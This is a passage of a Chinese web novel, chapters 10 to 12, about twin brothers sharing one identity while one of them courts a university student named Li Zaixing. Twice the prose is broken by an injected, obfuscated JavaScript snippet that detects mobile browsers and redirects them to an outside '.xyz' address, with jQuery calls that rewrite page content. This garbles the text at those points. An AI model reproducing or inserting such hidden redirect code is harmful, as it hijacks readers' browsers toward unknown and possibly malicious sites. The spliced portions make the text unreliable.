季行月笑容一顿,“为什么?” 季舒阳:“我约了李再星在家里见面。” “……?” 季行月花了几秒钟的时间才处理好这句信息量庞大的话。 他睁大眼睛:“在、在家?你第一次跟她约会就在家?在这???” “不是约会,”季舒阳纠正,“是请她来家里吃饭。” ……这不是一个意思吗!有什么区别吗! 季行月简直无从下手吐槽,先不说第一次约女孩子见面就约到家里这举动合不合适,季舒阳要做什么,他也管不住。 问题是,季舒阳是顶着他的身份去做这些事啊! 要是季舒阳做了什么不好的事,那背锅侠不妥妥的是他吗? 季行月绝对不允许这种事情发生,“不行,你们换个地方吃饭,那么多约会场所,非来家里做什么。” 季舒阳皱起眉,“我是要做饭给她吃,去外面怎么做?” 他越是问得一本正经,季行月就越是头疼。 季行月绝望地直拍脑门,他忘了,季舒阳是个人际关系贫瘠到可怜,不通人情世故的人。 他说请李再星来家里吃饭,那就真的只是来家里吃饭。 可孤男寡女,万一呢? 季舒阳脑子一根筋也就算了,小土豆那憨憨怎么也这么毫无防备之心?一个女孩子跑到认识不久的男人家里来做客,缺心眼呢! 季行月正发愁要怎么让季舒阳改主意,忽听季舒阳提醒,“你还有二十分钟。” “……” 季行月一阵心累。 “行行行,我洗个脸就走行了吧。” 季行月不耐烦把季舒阳推到门外,使劲把门一关,立刻变脸。 他走个屁! 10. 第 10 章 李再星站在季行月家门口,迟迟没有摁响门铃。 她是被关柔批评了一通才过来的。 批评的原因,是她安全意识太薄弱,竟然要只身前往刚认识不久的异性家里。 李再星一开始没想这么多,被批评后也觉得不妥,但毕竟是她先主动提议,怎么也说不出反悔的话,最后还是硬着头皮来了。 到了门口,李再星又打起退堂鼓。 正犹豫要不要回去时,玄关门突然被人从里面打开,穿着浅蓝色毛衣的男生站在门内。 开门瞬间,两人同时被吓一跳。 “你、你来了。” “啊……对,我来了。” 生硬的招呼,僵硬的回应,同样的不自然。 季舒阳忙侧身让道,“快请进。” 李再星也把退堂鼓抛到脑后,赶鸭子上架似地进屋。 入户处已经摆了双浅黄色的女士棉拖,尺寸颇大,上面还有可爱的猫咪图案。 已经拆了吊牌,但明显能看出是崭新的。 李再星以为这鞋是早就买好,给来他家做客的女性提前准备的,换上之后,却听见身后男生有些懊恼地小声嘀咕:“买太大了吗?” 这棉拖确实不是她的尺码,穿进去后,脚后跟后面空出一大截,显然,买鞋的人对女生鞋码的掌握并不清楚。 李再星也没想到这是他专门给她买来的。 她瞄了眼他脚上那双黑色棉拖,与她这双相比,更像一只帆船。 不知怎的,她莫名能想象出他给自己买拖鞋时,皱着眉头为尺寸苦恼纠结的场景。 有些好笑,又有点可爱。 “不是你买大了,”李再星想让他的懊恼少一些,笑着说,“是我穿的鞋码原本就偏小。” 季舒阳显然没料到她听见自己的自言自语,脸上闪过一丝不自然,又很快恢复常态,问:“你穿多大码?” 李再星没想到他会问这个,一时没反应过来,又听他补充:“我下次重新买。” 下次。 这话的意思是……她还会有再来他家的下一次? 李再星嘴角想往上翘,又赶紧清嗓子掩饰情绪,“我穿35码。” “对了,这是我在路上买的蛋糕,”李再星把做客礼物递过去,在他接过后,又从外套口袋里掏出烟盒和打火机,“我刚把你的外套送去干洗店,这是你外套兜里的东西。” 像是做了什么坏事被发现,季舒阳表情微妙地变了变,伸手,有些笨拙地从她手里接过这两样东西,习惯性想放进口袋,低头才发现今天穿的这身衣服没有任何可藏之处。 他攥着烟和打火机,偷偷去观察她的神色,却恰好与对方四目相对。 李再星微微歪了歪头,眼里有疑惑,“嗯?” “我其实不常……” 季舒阳欲言又止,又话锋一转,“我煮了姜汁可乐,去给你盛。” 他丢下这句就往厨房走,走了两步,又蓦地停下,僵硬转身,像是刚运行程序还不太熟练的机器人,“你随便坐,别客气。” 李再星使劲抿住嘴唇,要忍住,不能笑。 这时候笑出来,机器人会死机也说不定。 她原本还担心今天的季行月会穿得很潮男,被动触发她的潮男恐惧症,再不自在地相处,没想到季行月这会儿好像比她更紧张,心里微妙地有些平衡,还有些小小的幸灾乐祸。 而且,李再星注意到,季行月并没有把玄关的门关紧,特意用东西抵着,留了条不宽不窄的门缝。这让她多了不少安全感。 在沙发落座后,李再星悄悄地打量着这个房子。 虽然是租来住的房间,但屋里保持得很整洁,沙发茶几电视柜上都没放多余杂物,就连餐边柜里餐碗茶杯的摆放都整整齐齐,像是有强迫症。 客厅另一边,应该是卧室,房门紧闭。 余光瞥见季舒阳从厨房出来,她收回视线。 季舒阳将热气腾腾的姜汁可乐送到她手上,又走去电视前把电视打开,拿起茶几上的平板,操作了几下后送到她面前,“家里平时不看电视,都是投影,你想看什么随便搜,我去切蛋糕。” 说完,就提着蛋糕又去了厨房。 端着切好的蛋糕送过来后,他又马上说:“冰箱还有草莓,我去洗草莓。” 又马上去厨房洗草莓。 把草莓端过来后,他在沙发前站了两秒,又说:“你吃冰淇淋吗?冰箱里……” 李再星实在是看不下去,举手打断他,“你是想把你家的冰箱都搬空吗?” 季舒阳一噎,“你想吃的话,都可以。” 他竟然还当真了。 李再星没忍住笑了出来,感觉自己不是到了暧昧对象家,而是来到了奶奶家,横看竖看她是真饿,左拿右拿全喂给她。 “我不是来你家吃饭的吗,吃这么多零食,待会儿可就没肚子再吃你做的饭了。” 季舒阳忽然想起她在电话里说过胃不舒服,“你要吃胃药吗?” 李再星:“……” “你先坐下来歇会儿吧。” 李再星感觉自己反而像是成了主人,尤其是看到季舒阳坐在离她很远的沙发另一边,看着比她这个客人还拘谨。 她端起茶几上的柠檬红茶巴斯克,双手送到他面前,“我看你平时喜欢喝柠檬茶,所以专门选了这个,你试试味道怎么样?” 季舒阳心脏一抽,垂下眼。 喜欢喝柠檬茶的并非是他。 他接过蛋糕,拿起叉子尝了一口。 看着他品尝完,李再星满怀期待地问:“味道怎么样?喜欢吗?” 计算好嘴角该模仿的弧度,季舒阳抬头,朝她露出笑容,“很好吃,我很喜欢。” 李再星松了口气,半开玩笑道:“幸亏你喜欢,不然光来你家蹭饭,我都不好意思了。” “不用不好意思,我很高兴你能来。”季舒阳放下蛋糕,“我去厨房看看汤。” 李再星见他又要往厨房里钻,连忙跟着起身,“要不我也去帮——” 话还没说完,她不小心踢到茶几脚,吃痛倒吸一口冷气,“痛痛痛痛——” “伤到了吗?我看看。” 季舒阳第一时间扶她坐回沙发,半跪在她身前,脱下她的棉拖。 他的手指触碰到她袜子,想要给她脱下时,李再星下意识把脚一缩,“我、我自己来……” 意识到自己的冒犯,季舒阳起身退后半步,“抱歉。” 李再星很想说,其实不是在介意他的触碰,而是介意自己的袜子。 都说臭袜子臭袜子,虽然她的袜子是今天刚换的,但那毕竟是脚上穿的!万一是臭的呢! 李再星光是想想就觉脚趾抠地。 明明是为昨天耍酒疯的社死来挽回形象的,结果怎么遇到了更社死的事。 在季舒阳的注视下,她小心翼翼脱下袜子,这一脚踢得不轻,大脚趾都出了血。 “家里有消毒药,我去拿。” 季舒阳拿来医药箱,拿出消毒药和纱布,这次没有直接碰她,而是放到她手边。 李再星打从心底谢谢他的体贴,让她的尴尬少了点。 但是很快,她的疼痛远超尴尬。 李再星拿着棉签的手微微颤抖,碰一下疼一下,碰两下疼得抽抽,第三下怎么也落不下去。 就这么挣扎了好几分钟,忽听季舒阳出声:“需要我帮你吗?” 再这么下去天黑都处理不好,李再星只好硬着头皮点头。 季舒阳在她旁边坐下,“抱歉,冒犯了。” 他伸出手,轻轻托着她的脚,放到他大腿上。 等同于后半的脚掌踩在他的大腿上,隔着棉质休闲裤都能感受到他腿部肌肉的紧实,李再星撇过脸不好意思看他,撑在沙发上的手不由得攥紧。 大概是刚才在厨房过了很多遍冷水,他的手指很凉,不知是考虑到这点,还是怕她觉得尴尬,他尽量避免触碰到她。 感受到他小心翼翼的动作,李再星又没忍住,悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484290|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转回头,视线落回他轮廓分明的侧脸。 他头垂得很低,黑色碎发刘海搭在额前,遮住了大半眉眼,但紧抿的唇透露出他此刻的全神贯注。 长得真好看。 不光五官好看,连皮肤都很好。 竟然一点瑕疵都没有吗? 李再星丝毫未觉自己看得太入迷,不由自主前倾身体,朝面前的男生缓缓靠近。 也就在这时,季舒阳突然转过脸,“包扎——”好了…… 剩下一半的话,在正面迎上她视线的瞬间戛然而止。 呼吸也戛然而止。 咫尺距离,近到可以看清她脸上的微小绒毛。 一瞬间的工夫,心跳声便震耳欲聋。 交汇的目光如同贴在水面的浮萍,空气里流动着名为暧昧的情愫。 却在这时,卧室突然传来一阵撕心裂肺的咳嗽。 如同晴天里乍起的惊雷,客厅里的两人都被吓了一跳,一个马上低着头往旁边挪,一个赶紧撇过脸往后仰。 “这个这个……那个那个……” 李再星大脑飞速运转,想解释自己刚刚的行为,转了半天,突然察觉不对。 “诶?” 她扭头看向脸色似乎不太好的季舒阳,“你家还有其他人在?” “对,我d……哥也在。” 季舒阳生硬地转折,改变差点说错的称呼。 李再星看他朋友圈的时候就知道他有个哥哥,但没想到是跟他住在一起,而且还在家。 出于做客的礼节和对他家人的好奇,李再星问:“我要不要跟他打声招呼?” “不用。”季舒阳脱口而出。 像是提到什么禁忌,他抗拒的反应让李再星愣了下。 似乎也意识到自己反应过度,季舒阳不太自然地补充:“他不太好相处。” 原来是为她着想,李再星笑了笑,也没再坚持。 季舒阳收起医药箱,起身,“我去看看他。” 房间里,竖起耳朵的季行月听到脚步声,飞快回到床上坐好,双臂抱在胸前,挺直腰杆,清了清嗓子,给自己鼓足气势。 房门被打开,季舒阳冷着脸走进来,反锁房门,居高临下睨着这个本不该在这的人,“你怎么还在这?” “当然是怕你们俩干坏事!” 季行月按照自己预先在脑子里演练过的,恶狠狠斥责他。 同时又怕被外面的李再星听见,而不得不压低声音,于是这恶狠狠的气势又多了几分鬼鬼祟祟,“孤男寡女共处一室,你知道意味着什么吗?” 季舒阳面无表情:“是你的思想太龌龊。” 季行月冷笑了声:“我的思想龌龊,那你们刚才在干嘛?” 季舒阳皱起眉:“我只是在给她处理伤口。” “处理伤口要贴这么近吗!” 季行月一激动就不小心说大声了些,又赶紧压低声音,“你们都快亲上了!” 见季舒阳没反驳,他紧接着又说:“我借你身份,只是给你机会待在她身边,可没让你跟她做这些事,我还是个良家处男呢!” 沉默了很久,季舒阳低声开口:“我知道,我和她只当朋友,不会越界。” 季行月吊儿郎当地抖着腿,抱着手臂冷哼:“你知道就好。” 过了几秒,又不自然地咳了咳:“那什么,你把衣服脱了。” 季舒阳皱眉看着他。 季行月急急燥燥站起身,“我要去放水!” “……” 两厢沉默,尿急的人和无语的人大眼瞪小眼。 两秒后,季舒阳转身就走,“憋着。” 季行月眼疾手快拉住他,另只手按住他打开了一条门缝的门,压低嗓音恶狠狠威胁:“你不让我放水,我也不让你出去!” 两人拦在门口谁也不让谁,僵持之时,门外忽然传来两下敲门声。 紧接着,女生清脆的嗓音隔门传入,语带担忧:“季行月,发生什么事了吗?需要我帮忙吗?” 11. 第 11 章 屋内两人皆是一惊,而后同时看向对方。 目光交汇,双胞胎的默契在此时尽显,几乎同时看清对方的意图。 季行月张嘴就要出声的一瞬,被季舒阳死死捂住嘴。 季舒阳无视季行月憋红的脸和暴起的青筋,尽量让自己的声音平稳,听不出任何异样:“没什么事,我马上出来。” 李再星原本在客厅听到房间门咔哒打开又猛地合上的声响,动静还不小,像是房间里的人起了什么冲突。 出于担心,她才拖着踢坏的腿,一瘸一拐走过来询问,听到他的回答,也没听见卧室里有争吵声,这才放了心。 卧室的门很快被人从里面打开,穿着蓝色毛衣的男生走出来,脸和脖子都有些红,头发也有些乱。 对上她视线,他举起手笑着打招呼:“嗨。” 李再星有点懵,今天又不是才碰面,怎么突然跟她打起招呼了? 季行月也意识到自己做了什么不妥举动,稍显懊恼地抓了两下头发,干咳了声:“那什么,你继续看电视,我还有点事。” 丢下这一句,他直奔洗手间,留下一脸莫名的李再星。 解决完生理问题,季行月从洗手间出来,但没马上回房,而是绕到厨房,第一时间打开冰箱,火速塞一片吐司到嘴里。 他醒过来到现在什么都没吃,快饿死了! 厨房灶上正炖着骨头汤,香味满溢,勾得他肚子里的馋虫咕噜咕噜叫。 季行月眼珠子骨碌一转,连吃带拿,盛了满满一碗,端着走出厨房,装模作样地对已经坐回沙发上的李再星道:“我哥也想喝汤,让我给他送过去。” 李再星哦了声,没有怀疑。 只是有些奇怪,他哥哥怎么不出来吃,难不成是在介意她? 然而,季行月端着汤走进卧室后没多久,李再星看到他又把那碗汤原模原样端出来了。 她困惑问:“你哥哥不是要喝汤吗,怎么又端出来了?” 重新换上蓝色毛衣,从房间里出来的季舒阳不太自然地说:“他突然又不想喝了。” 当然不是季行月不想喝,是绝不能让他喝。 这碗汤要是真让他喝下去,这麻烦鬼准又要跑出来放水。 李再星再一次哦了声,这次不再觉得奇怪,而是莫名其妙。 难怪季行月说他哥哥不好相处,使唤他送汤进去又马上改主意让他再端出来,这人……分明是故意没事找事,性格真差劲。 吃完饭,李再星没有多留。 季舒阳要送她回去。李再星知道自己脚还伤着,也就没拒绝,也因为伤到的脚不方便穿鞋,还把他家的拖鞋给穿回来了。 尽管季舒阳说没关系,原本就是给她买的,还把另一只也放到袋子里给她拎到了宿舍楼下,李再星还是有些不好意思,今天不光没刷到好感,还给他添了不少麻烦。 “今天真是麻烦你了,”李再星挠了挠脸,“下次我请你吃饭吧。” “嗯,下次再一起吃饭。” 季舒阳下意识地答应她,停了几秒,像是慢了半拍才反应过来,连忙否认她的前半句,“没有麻烦,我今天……很开心,真的。” 他还特意强调了一句真伪。 李再星被他的反应逗笑,弯起眼睛:“我今天也很开心,也是真的哦!” 她也故意强调,暗戳戳地调戏他。 她的俏皮话奏了效,季舒阳耳根隐隐发热。 “对了,你知道我们学校下个月的音乐艺术节吗?” 李再星趁热打铁,也向他发出一个邀请,“你有没有兴趣跟我一起参加?” 十二月的音乐艺术节,是青安大学的传统,类似于十佳歌手比赛,但更具表演性质也更具观赏性,不论校区年级和专业,学生们自行报名,经过一轮筛选拿到表演名额,就能正式参加。 表演节目什么的都是次要,李再星醉翁之意不在酒,只为有个正当理由多制造跟他相处的机会。 季舒阳一怔,“我?” “对呀,”李再星做了个弹吉他的手势,“我在你朋友圈看到了,你弹吉他弹得超棒!” 季舒阳脸色微微一变。 见他神色不对,李再星以为他不愿意,连忙开口:“如果你不愿意也没关系的,我只是随便一提,不用放在心上。” 糟糕,她该不会说错话了吧? “我……没有不愿意。”季舒阳忽然开口。 虽然会弹吉他的人不是他,但没关系,他可以去学。 因为是她想做的事,她想跟他一起做的事,无论如何,他都会去做。 季舒阳暗暗攥紧手指,朝她弯起嘴角,“我们一起参加吧。” …… “参加个屁啊!” 得知这件事的季行月,只觉火烧眉毛头疼不已。 他就说季舒阳这周六怎么突然问他借走吉他,这两天一个劲在房间弹来弹去。 不问不知道,一问吓一跳,连聚餐这种活动都不见得去一次的家伙,竟然答应了李再星,跟她一起参加学校的音乐艺术节。 也幸亏他问了! 季行月焦虑地在房间里走在走去,“你根本都没学过吉他,怎么跟她表演?” “所以我在学。”季舒阳一本正经。 他越是一本正经,季行月就越觉得荒唐,“从爬格子开始学吗?拜托你现实点,下个月就是艺术节了,这么短的时间,你要是没学会,丢脸的人可是我!” 季舒阳抿了抿唇,“既然我开始学了,就不会让你丢脸。” 季行月被他笃定的话一噎,就像以往的每一次,季舒阳对他所做的每一件事都充满把握。 是啊,眼前这人可是季舒阳,他从小到大的榜样哥哥,怎么可能会有他做不好的事。 季行月忽然觉得自己很可笑,他哪有资格去质疑季舒阳的能力? 可是,这次的问题,不在于季舒阳能不能做好。 “我知道你聪明,你厉害,你做什么事都有十成十的把握,问题是时间不够啊!表演前要一起练习磨合,你连吉他都没学过,怎么去和李再星练习?跟她说你突然失忆变成了吉他新手,在她面前爬格子吗?” 季行月的质问最后停留在最关键的那点,“你想过这会让我们俩身份露馅吗?” 季舒阳的睫毛颤了一下。 他确实疏忽了这点。 无论是尝试新事物还是上台表演,每一个困难,他都能够逼自己去克服。 唯独这一点,他不敢冒险。 见他陡然低迷,季行月叹了口气,眼睛一闭,自暴自弃,“我去!” 季舒阳倏然抬眼,“什么?” “我说我帮你去,帮你去和李再星练习,去上台表演,去给你收拾这烂摊子,这样才不会让我们俩露馅。” 季行月越说越没有灵魂。 明明他是来捣乱的,现在却莫名变成了来帮忙的。 虽说反正是用他的身份参加这艺术节,也是以他的名义出风头,但为了这点风头揽下这么多活,麻烦也是真嫌麻烦。 季行月烦躁地回到自己房间,还没等他的情绪缓上一会儿,手机叮咚响了声。 他拿出来看了眼,是秋丽发来的微信,提醒他,这周末是爷爷的八十岁大寿,让他记得和季舒阳一起回家,为老人家贺寿。 这种唯恐他不记得的提醒,想必只发给了他一个。毕竟优秀懂事的季舒阳,一向被爷爷喜爱,必不可能忘记这事。 这就是在本地上大学的弊端,随时都要被召唤回家。 季行月重重啧了声。 烦死了! …… “哇,好厉害!” 李再星啪啪啪使劲鼓掌,眼神不掩崇拜地望着刚演奏完的季行月。 今天是周末,她和季行月在学校找不到适合练歌的地方,就一起来KTV开了个包厢。歌是她几天前选的,就这么几天的工夫,季行月就已经弹得很熟练。 没有人不喜欢被夸赞,尤其是季行月。 之前觉得麻烦的烦躁完全被抛到九霄云外,他眼里的得意都快满溢出来。 不过为了保持形象,他脸上还是挂着适度的笑容,故作谦逊道:“其实还是不太熟练,弹得一般般啦。” “这都还只是一般般,那我们上台表演的话,岂不是拿定头奖了?” 李再星笑哈哈地夸他,“你就别谦虚啦,真的弹得很好,唱得也很有感染力!超赞!” 季行月更飘飘然,得装模作样地清清嗓子才能压住说话时的得意,“谢谢夸奖。” 在这飘飘然的心情下,他和李再星练习了大半个下午,直到他的手机突然震动,弹出电话。 季行月看了眼来电人,接下电话:“妈?” “小月,你怎么不跟舒阳一起回家啊?不是说了今天……” 秋丽还没说完,电话就被人抢走,紧接着传来季良鹏的训斥:“季行月,你怎么回事?你爷爷的八十大寿你都不回来,想造反了啊?” 中年男人的声音格外有穿透力,不光刺得季行月耳膜生疼,也让一旁的李再星都听见了他的暴躁大嗓门。 季行月跟她笑笑,示意她先休息,拿着手机起身,往包厢外走。 走出包厢,他脸上笑容在关上门后彻底淡下,“我不是跟哥说了吗,我学校有事,今天回不去。” 季良鹏暴躁道:“学校周末能有个什么事,你是不是又在跟你那帮穿成丐帮的狐朋狗友鬼混?” “是是是,我现在确实在KTV里跟人鬼混,我的朋友都是狐朋狗友,跟狐朋狗友混在一起的我也不是个好人。” 季行月没有多辩解,靠在墙边,吊儿郎当地说:“所以我就更不能回去惹您生气了,再说,爷爷他老人家有我哥就足够了。” 季良鹏被他气得都快说不出话,“臭小子,你——” “臭小子手机没电快关机了,爸你少生点气~” 季行月啪地挂断电话。 嬉皮笑脸的面具随之揭下,他靠在墙上,疲惫闭上眼。 和处处优秀,被大人们称作榜样的哥哥不一样,小时候调皮又暴力的他,是最不讨长辈喜欢的类型。 尽管后来学会伪装,表面一套、私下一套的性格,成功地让自己变成许多人喜爱的好孩子,但对严厉的爷爷来说,他的一切似乎已经在儿时定型。 又或许,是他做什么都不如季舒阳优秀,所以做什么都不讨喜。 第一次意识到爷爷不喜欢自己,是在八岁。 因为眼馋爷爷平日对季舒阳的夸奖,并不喜欢学习也没那么聪明的他,牟足劲去学,头一次在考试中拿到九十分以上的成绩,他欣喜至极。 但两位数的分数显然没有季舒阳的满分那么令人惊喜,爷爷的目光依旧始终停留在季舒阳身上。 第二次是13岁,认识到自己的平庸,也接受了和季舒阳之间的差距,于是开始拓宽自己的兴趣,学习之外,运动、音乐、美术,每一样都去尝试、接触,发掘自己的可能性,他战战兢兢。 却收到一个不务正业的评价。 看似样样通其实样样松,净学些没用的东西。说这话时,爷爷的目光终于落在了他身上,冷淡的,不赞许的,轻视的,令人刺痛的。 一碗水难端平,这很正常,所以季行月从没埋怨过什么。 不埋怨,不代表不在意。 他在意到恐惧,害怕得要死。 越是害怕,就越把自己不讨喜的地方层层遮掩。 就像是只丑陋的毛毛虫,把自己裹成一个厚厚的茧,让所有人以为,这里有只将会破茧而出的美丽的蝴蝶。他们都以为他是蝴蝶。 只有他自己知道,他永远也不会打破那层茧。 他和季舒阳不一样。 他只是平庸的毛毛虫。 季行月攥着手机在墙边靠了一会儿,还是给季舒阳发了条消息确认:给爷爷的生日礼物,你带回去了吧? 对方惜字如金回了个1。 季行月又问:没说是我挑的吧? 季舒阳又扣了个1。 季行月松了口气。 这礼物是两人一起出钱买的,挑礼物的人是他,因为季舒阳那个在人情世故上贫瘠的脑子在这方面根本派不上用场。 不过,无论季舒阳挑了什么鸡肋东西,爷爷都会满意。他挑的则相反。 特意叮嘱季舒阳别说是他挑的,也是想让老人家在大喜的日子别因为他膈应。 季舒阳的消息又发过来:李再星还跟你在一起?你们练习得怎么样?你没做坏事吧? 一口气三连问,这次倒不再惜字如金。 季行月嗤了声,我对她又没那心思,干个屁坏事。 他以牙还牙,使劲点击:111 …… 李再星坐在包厢里等待,有些不安。 季行月刚才接的那通电话似乎是他爸妈带来的,她很清楚地听见中年男人在电话那边吼的内容。 原来今天他爷爷的八十大寿。 这么重要的日子,为什么季行月不回家,跟她在这里练歌呢? 是跟他家人关系不好吗? 李再星忍不住发散思维,又赶紧收回思绪,这是别人的家事,她不能胡乱揣测。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484291|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚才那通电话,她什么没听见。 把自己这么催眠后,李再星又想起季行月方才弹吉他时的帅气模样,也对吉他有了兴趣。 她拿起被放在旁边的木吉他,手指拨弄了几下,青铜材质的琴弦发出清脆明亮的声音。 李再星新奇地笑了,还真有些好玩。 她又继续没调子地弹起来,想象着自己是个文艺女青年,但很快,指腹就被硬硬的琴弦硌得疼起来。 原来弹吉他这么疼的。 李再星才起的兴趣顿时消失。 包厢门被人从外面打开,季行月走过来时,李再星刚把吉他放下。 他挑了下眉,笑着问:“你也想学弹吉他。” 李再星连连摇头:“不学不学,手指受不了。” 季行月抱起吉他,故意诱惑她,轻松弹出几个和弦给她做示范,“只会疼一阵,长出茧就好了。” “只会?就?”李再星抓住他的字眼吐槽,“把这种话说得这么轻松,可是很欠揍的!” 他这话说得跟吉他课推销员一样,要不是她刚才亲手试过,她就真信了他去报班了。 “不过……”李再星顿了顿,“把这种话说得这么轻松,说明你真的很厉害,真佩服你。” 只要是夸奖,季行月总会照单全收,也惯例地自谦:“我也没那么厉害。” 李再星却皱起眉,他似乎每次都并不真正接受她的夸奖,总是很谦虚,虽然脸上在笑但不见得真正有多喜悦。 这样的反应,让她想起了韩栀子。 因为从小被家里人打压式教育,考得好是理所应当,考得不好就是藤条伺候,韩栀子从来不会坦然接受来自别人的表扬,也亲口对她说过,并非只是单纯谦虚,而是发自内心地觉得自己还不配。 一如那时,李再星无法坐视不管。 “被别人夸的时候,说声谢谢就好了。” 李再星表情严肃:“不要妄自菲薄,你值得被夸奖。” 季行月一怔。 想说些什么敷衍过去,却什么也说不出。 表情肌似乎已经僵住,他忽然意识不到自己是不是还在挂着笑,眼前也没镜子,看不见自己的表情,没来由的心慌。 “哈……”他发出类似笑的哈声以确保自己被她认为他在笑,同时低头挡住脸,“谢谢。” 他的反应似乎很不安,这也让李再星感觉不安。 她忘了,眼前的人不是和她相识十几年的韩栀子,而是才认识不到一个月、互相并不怎么了解的季行月。 她果然越界了。 一阵尴尬,李再星挠了挠脸,“时候也不早了,要不我们今天先练到这?” 季行月嗯了声,抬起头时,脸上已然又是一副毫无瑕疵的笑容,“我送你回宿舍。” 天还没黑,回去路上很安全,李再星原本不想麻烦他,出声婉拒前又忽然改了主意。 晴朗的黄昏,空气却寂静,他们并肩走在回校的路上。 在这片无言中纠结良久,李再星终于还是开口:“你是我见过的人里,弹吉他弹得最好唱歌也最好听的。” 季行月没说谢谢,也没再说妄自菲薄的谦辞,只是轻描淡写地笑了声:“忽然吹我的彩虹屁做什么?” 开玩笑的语气,没当真的态度。 “不是彩虹屁,是事实!” 李再星跳到他面前挡住他往前的路,抬头迫切地看着他,恨不能把自己脸上的诚意变成文字呈给他看。 大眼瞪小眼,季行月先一步撇开脸,继续敷衍:“好好好,我知道是事实了。” 李再星执着地问:“你不相信吗?” “我——” 季行月想一如既往去敷衍她,却不知怎么突然感到疲倦,侵入四肢百骸的无力感。 像是拿她没辙,他仰头望着天空长叹了一口气。 黄昏时的天空是暖洋洋的橘色,带了点桃红,拉扯的云彩像正在消散的火焰,倒映在他眼中,有什么东西似乎也跟着在消散。 季行月低回头,重新看着她时,表情变得木然冷淡:“没错,我不相信。” “你知道我有个哥哥吧,他才是真正厉害的人,不管是学习还是其他什么事,只要他去做,每件事都做到完美。跟他的名字一样,他就像是太阳,太阳系的中心,所有人的目光都在他身上,都围着他转。” “而我只是月亮,顶多算是借了他的光,只是他的影子。所以,我是真的不厉害,我……” “季行月,”李再星忽然一脸严肃地打断他,“你要看手相吗?” “……啊?” 季行月正伤感着呢,被她没头没尾的一句打断,满心的伤感变成问号,“现在?” 李再星朝他伸出手:“对,就现在。” 季行月搞不清状况地把左手伸过去,立刻被她抓住。 她的手很凉,像是没长骨头,手指头软得跟豆腐似的。 就这么一双凉冰冰又软趴趴的手,抓住他的手指,在他的指腹上捏来捏去。不像看手相,更像占便宜。 但李再星的表情并不像开玩笑,根根分明的眼睫毛垂着,白皙脸颊透着认真。 “看完了。” 她抬起头来,指着他指腹的薄茧,郑重其事,“你果然是个很厉害的人,这就是证据。” 季行月不明白,“弹吉他的人都会长茧,这和我厉不厉害没什么关系。” 李再星朝他竖起手掌展示自己的手指,“我就没有啊,你对我来说就是厉害。” 季行月愣住。 “而且不仅仅是弹吉他厉害,你打篮球也很厉害,夹娃娃也很厉害,上次在电影院,只有你注意到了那个小妹妹也需要一只和姐姐一样的娃娃,这一点也很厉害。” 李再星一条条地陈列他的厉害之处,暖融融的夕阳落在她的脸庞,宁静而平和,而那双清澈的杏眼,却又无比坚定。 火焰一般的云彩,映在她眼睛里。 “地理老师说,月亮是地球唯一的自然卫星,如果没有月亮,就不会有潮汐和四季更替。所以,太阳固然是太阳系中心,但月亮也是大家缺一不可的哦。” 她朝他傻笑。 杏仁眼弯成月牙,再一次露出那颗尖尖的虎牙。 季行月看着她。 层层包裹住心脏的厚茧,似乎裂开一道缝隙,夕阳照进来,耀眼,炙热,像火焰在燃烧。 冬日黄昏的街头,风吹着银杏叶落了一地,层层叠叠一片金黄。 站在金色落叶中央,季行月缓缓抬起右手,覆在心口轻挠。 奇怪,这里突然有点痒? 12. 第 12 章 暮色悄然而至,晚风轻拂树影,银杏叶如同金色的蝴蝶,飞旋着落在他们脚边。 迄今为止的记忆里,季行月并没有收到过什么今天这种发自内心的称赞。比他早几分钟出生的哥哥越是优秀,逊色一筹的他也越被认定为平庸。 “季舒阳的弟弟”,这是自记事起就贴在他身上的,撕不下来的标签。 就像两个人站在舞台上,即便长着同一张脸,人们的目光理所当然地去追随光环更强的那一个,不那么耀眼的他,一直都是可有可无的影子。 讨厌被这么对待。 可同时,他自己也认为这理所当然。 “缺一不可吗?”季行月扯了扯唇角,“就算缺一不可,但大家还是更喜欢太阳吧。” “为什么会这么想呢?”李再星歪了歪头,毛茸茸的眉毛不认同地向内聚拢,“地球上几十亿人口呢,有更喜欢太阳的人,就也会有更喜欢月亮的人啊。” 她指了指自己,“还有像我这种选择困难症,分不出高低,太阳月亮都一样喜欢的呢。” 季行月沉默地看着她,半晌,忽然偏过头笑出声。 和平时装模作样的笑不太一样,乍看带着刺,并不那么客气,像是对她的言论无语,又像是被她说服,多了几分释然。 李再星看着这样的他,还没来得及说什么,远处忽然传来卖烤红薯烤板栗的喇叭吆喝声,她被骤然响起的动静引得下意识看过去。 “想吃吗?”季行月问。 又并非只是询问。 没等李再星回答什么,他的手就落在了她羽绒服的帽子上,推着她往那边走,“走吧,买给你吃。” 回校的路上,两人依旧并着肩走,不过手里各自都多了一只热乎乎的烤红薯,空气也不再安静。 “刚刚就想说,你的手也太凉了,是不是穿得太少?” “我穿得够多了,是一到冬天就这样,手脚冰凉是因为我内心太火热。” “第一次听这种歪理。” “这可是我妈说的!” 落叶铺满长街,一高一矮的影子在身后被斜阳拉长,时而侧首谈笑,时而玩闹推搡,烤红薯的香味同说笑声飘了一路。 送李再星回宿舍后,季行月也回了家,换上拖鞋后,要进屋时忽地一顿,转身把脱下的鞋好好地放进鞋柜。 回到房间,独自坐了很久,他起身走到衣柜前,搬出箱子,把设计过分夸张的衣服从衣柜里都挑出来,折叠整齐收进箱子里。 全部都收拾好,衣柜空了大半,天也完全黑了。 季行月长长舒了口气,坐在床边休息。 望着窗外,他莫名地,心情很好地笑了。 月亮出来了。 …… 